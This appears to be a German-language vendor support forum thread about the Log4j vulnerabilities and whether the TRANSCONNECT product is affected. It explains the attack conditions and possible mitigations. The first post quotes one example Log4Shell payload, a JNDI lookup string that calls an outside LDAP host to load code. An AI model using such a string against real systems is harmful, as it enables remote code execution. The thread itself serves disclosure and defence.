Log4j Sicherheitslücken (CVE-2021-44228,CVE-2021-4104,CVE-2021-44832,CVE-2019-17571)

  • Beitrag
Ansicht von 8 Antworten - 1 bis 8 (von insgesamt 10)
  • Antworten
    Holger Rehn
    Verwalter
    TRANSCONNECT ist nicht von dieser Lücke betroffen.

    Die Sicherheitslücke CVE-2021-44228 in Log4j betrifft die Lookup-Funktion der Versionen 2.0 bis 2.14.1. Damit kann ein Angreifer serialisierte Daten von einer externen Quelle laden und somit potenziell beliebigen Programmcode mit den Rechten des betroffenen Systems ausführen. Konkret erfolgt das über ein Textfragment “${” (z.B. ${jndi:ldap://1.2.3.4:1234/malicousCode}) an beliebiger Stelle einer Log-Ausschrift. TRANSCONNECT nutzt allerdings Log4j Version 1.2 ohne eine derartige Funktion und ist somit nicht davon betroffen.

    Falls Sie aber eigene Komponenten (Adapter, Plugins o.ä.) benutzen, die auf Log4j 2.x basieren, sollten Sie schnellstmöglich ein Update auf Log4j Version 2.15 vornehmen! Mit dieser Version wurde die Lookup-Funktion als Default-Einstellung deaktiviert. (Update: Inzwischen ist ein weiter gegen dieses Problem gehärtetes Log4j 2.17 verfügbar.)

    Zur Abschätzung des Risikos einer möglicherweise bereits erfolgten Infiltration, falls Sie selbst Log4j 2.x für eigene Komponenten nutzen: Zur Ausnutzung der Lücke muss ein Angreifer lediglich in der Lage sein, ein Textfragment in einer Log-Ausschrift unterzubringen, um die besagte Lookup-Funktion zu triggern. Sobald irgendeine Art externer Zugriff auf ein von der Schwachstelle betroffenes System (z.B. über eine Webschnittstelle) möglich ist, sollte man davon ausgehen, dass ein Angriff bereits erfolgt sein könnte. Entweder könnte die Schwachstelle direkt über eine entsprechende Nutzdaten-Protokollierung ausgenutzt worden sein, oder aber über eine extra dafür provozierte Fehlermeldung (diese werden ja wahrscheinlich immer geloggt). Nur solange das Logging eigener Komponenten keinerlei von außen gelieferte Daten/Texte – auch nicht als Teil einer Fehlermeldung – beinhalten kann, ist ein Angriff auszuschließen.

    3
    0
    Eike Hamann
    Teilnehmer
    Ist denn zum nächsten Build von 2.3.4 / 2.3.5 ein Update auf Log4j Version 2.15 zu erwarten?
    Sicherheitstechnisch sollten doch möglichst alle eingesetzten Komponenten fortlaufend auf dem aktuellen Stand gehalten werden.

    0
    0
    Torsten Uhr
    Verwalter
    Eine endgültige Entscheidung darüber haben wir noch nicht getroffen. Wir werden uns mit diesem Thema jedoch noch eingehend auseinandersetzen. Eine Aktualisierung können wird dann nur in einem Major-Update integrieren, da sich die TRANSCONNECT API inkompatibel ändern wird und individuell erstellte Plugins, Adapter und zeitgesteuerte Aufgaben angepasst werden müssen.

    0
    0
    DerFoo
    Teilnehmer
    Hallo in die Runde,

    ich muss mich hier Herrn Hamann anschließen und ein Update auf eine aktuelle Version begrüßen. log4j in Version 1.2.x ist bereits seit August 2015 EOL und es gibt darin ebenfalls offene CVE-Meldungen wie der Homepage zu entnehmen ist.

    Bezüglich eines Updates der Eigenentwicklungen halte ich einen angekündigter Bruch der bisherigen API in den Release Notes für vertretbar.

    1
    0
    Eike Hamann
    Teilnehmer
    Inzwischen wurde die Liste mit der Informationssammlung durch NCSC-NL [NCSC2021] veröffentlicht.
    Entgegen der anderslautenden ursprünglichen Annahme ist Berichten zufolge die Programmbibliothek auch
    in den Versionen 1.x verwundbar. In diesen Fällen sei die Verwundbarkeit jedoch nur über eine schadhafte
    Programmkonfiguration ausnutzbar, sodass eine Ausnutzung weit weniger wahrscheinlich erscheint. [GIT2021d]

    https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-549032-10F2.pdf?__blob=publicationFile&v=3

    0
    0
    Holger Rehn
    Verwalter
    Vielen Dank für diesen berechtigten Einwand! Da sollte ich zur Erklärung vielleicht doch etwas weiter ausholen.

    TRANSCONNECT nutzt eine Vielzahl externer Bibliotheken. Aktuell ist es aber so, dass keine einzige davon Log4j 2.x nutzt. Wir haben aber seit mehreren Jahren für TRANSCONNECT selbst ein Update auf Log4j 2 geplant, das allerdings bisher noch aufgeschoben. Solange das nämlich dazu führen würde, dass wir dann beide Versionen mit ausliefern und gemischt nutzen müssten, würden wir die Anzahl möglicher Angriffsvektoren damit potenziell erstmal nur erhöhen. Die bekannten Schwachstellen von Log4j 1.2.17 sind uns natürlich bewusst, allerdings betreffen diese TRANSCONNECT nicht, da sie nur für bestimmte Konfigurationen ausgenutzt werden können.

    Prinzipiell versuchen wir aber schon soweit möglich, alle benutzten Komponenten immer auf dem aktuellsten Stand zu halten. Gleichzeitig prüfen wir auch täglich automatisiert alle genutzten Bibliotheken gegen mehrere CVE-Datenbanken, um Schwachstellen schnellstmöglich zu erkennen. Bei neu erkannten Problemen werden diese einzeln bewertet und münden dann ggf. kurzfristig in ein Update oder spezielle Fixes.

    Unter den aktuellen Umständen sehen wir jetzt aber durchaus das Potenzial, dass viele Bibliotheken in naher Zukunft den Umstieg auf Log4j 2 vollziehen werden. Damit eröffnet sich dann für uns die Möglichkeit, die 1er Version komplett zu entfernen und damit auch für TRANSCONNECT selbst ein entsprechendes Update vorzunehmen. Da das wie oben beschrieben zu inkompatiblen Änderungen führen wird, werden wir das dann aller Voraussicht nach im Zuge eines neuen Major-Releases machen.

    0
    0
    Lecos
    Teilnehmer
    Hallo in die Runde,

    nachdem ich soeben noch einmal durch unseren ISB mitgeteilt bekommen habe, dass das BSI eine neue Veröffentlichung am Dienstag herausgebracht hat, womit auch alle Versionen 1.x offiziell als betroffen betrachtet werden müssen, habe ich den Scanner losgeschickt. Ergebnis ist im Anhang angefügt. Das Tool hat dabei auch alle Backups im Update-Ordner mit angezeigt.  Es wurde also alles gründlich abgegangen. Bitte schaut auch bei Cert-Encoder und anderen Tools, ob die Dependencies auf die Packages entfernt werden können.

    Bitte unbedingt zeitnah allen Kunden ein entsprechendes Patch bereitstellen, ansonsten müssten wir mit einer Abschaltung der Transconnect-Instanzen in der nächsten Zeit erst einmal die Lücke abdecken.

    MfG Sidney Isensee

    0
    0
    Holger Rehn
    Verwalter
    Hallo Herr Isensee,

    ich vermute Sie beziehen sich hier auf den Teil

    „Eine ähnliche Schwachstelle ist auch für die nicht mehr im Support befindlichen Versionen 1.x gemeldet worden, hierbei scheint die Ausnutzung allerdings komplexer zu sein. Da die Versionen 1.x jedoch den End-of-life (EOL) Status erreicht haben, wird es zu diesen keine Sicherheitsupdates mehr geben.“

    in der entsprechenden BSI-Veröffentlichung? Diese Meldung ist leider etwas irreführend, da hier suggeriert wird, dass so ein Problem wie CVE-2021-44228 auch Log4j 1.x betrifft. Das ist, wie im ursprünglichen Post bereits erwähnt, in dieser Form gar nicht möglich. Die angreifbare Lookup-Funktion wurde erst mit Log4j 2 eingeführt.

    Allerdings gibt es bei Logj4 1.x eine zumindest entfernt ähnliche Schwachstelle: CVE-2021-4104. Ähnlich deshalb, da auch hier durch die ungesicherte Deserialisierung von Daten aus einer nicht vertrauenswürdigen Quelle theoretisch beliebiger Code ausgeführt werden kann. Davon abgesehen unterscheiden sich beide Probleme aber grundlegend.

    Durch CVE-2021-44228 ist die Kompromittierung eines Systems durch das simple Einschleusen eines Textfragments in irgendeine beliebige Lognachricht möglich. Das ist im Prinzip fast völlig unabhängig von der Konfiguration des angegriffenen Systems und kann extrem einfach ausgenutzt werden. Einem Angreifer muss dabei noch nicht einmal bekannt sein, welches Softwareprodukt er konkret angreift. Hier sollte davon ausgegangen werden, dass absolut jedes System betroffen ist, das eine Log4j-Version 2.0b – 2.16 benutzt. Alle zwischenzeitlich empfohlenen Maßnahmen zur Abwehr von Angriffen – abgesehen von der Holzhammer-Methode durch das Entfernen einiger Klassen aus der Bibliothek – haben sich mittlerweile als untauglich erwiesen.

    Demgegenüber setzt CVE-2021-4104 eine ganz bestimmte und ziemlich ungewöhnliche Konfiguration voraus: Der JMSAppender muss benutzt werden und für JNDI-Lookups auf ein externes System konfiguriert sein. Es gibt hier grundsätzlich zwei Szenarien:

    1. Ein Angreifer hat Zugriff auf die Log4j-Konfiguration, kann diese entsprechend manipulieren und damit Abfragen auf einen eigenen Server umleiten.
    2. Log4j wurde von vornherein entsprechend konfiguriert. Dann wäre das System durch jeden angreifbar, der die Kontrolle über den konfigurierten Host hat.

     

    Beide Varianten setzen also voraus, dass eines der beiden beteiligten Systeme bereits kompromittiert ist. Da im 1. Szenario ein Angreifer bereits Zugriff auf das Dateisystem des Systems haben muss, wäre das wohl auch maximal noch (unter weiteren Randbedingungen) zur Rechteausweitung eines unprivilegierten Nutzers einsetzbar. Hat ein Angreifer bereits umfassende Rechte, ist die Ausnutzung der Log4j-Schwachstelle nicht mehr nötig.

    TRANSCONNECT ist von dieser Schwachstelle nicht betroffen, da die Log4j-Konfiguration programmatisch erfolgt und die Nutzung des JMSAppenders dabei gar nicht vorgesehen und somit auch nicht konfigurierbar ist.

    Log4j 1.x hat auch noch eine andere bekannte Schwachstelle, die potenziell die Ausführung beliebigen Codes erlaubt: CVE-2019-17571. Genau wie bei CVE-2021-4104 kann diese Schwachstelle aber nur ausgenutzt werden, wenn Log4j entsprechend konfiguriert ist – hier als Netzwerk-Logserver. Auch das ist bei TRANSCONNECT so nicht vorgesehen und auch nicht konfigurierbar.

    Trotz allem sind wir uns natürlich der Brisanz des Themas bewusst, der Wunsch nach weiterer Absicherung ist völlig verständlich. Deshalb arbeiten wir gerade an einem Update, um die vulnerablen Komponenten sicherheitshalber komplett aus der Log4j-Lib zu entfernen.

    Kurzfristig – bis zur Verfügbarkeit des entsprechenden Updates – könnten Sie auch manuell sämtliche log4j-1.2.17.jar-Dateien (z.B. in den Ordnern transconnect/shared/lib und transconnect/sample/mapping/Mapping Functions/lib) durch diese Version ersetzen, um den Server gegen alle Eventualitäten abzusichern.

    Viele Grüße,
    Holger Rehn

    0
    0
Ansicht von 8 Antworten - 1 bis 8 (von insgesamt 10)
  • Du musst angemeldet sein, um auf dieses Thema antworten zu können.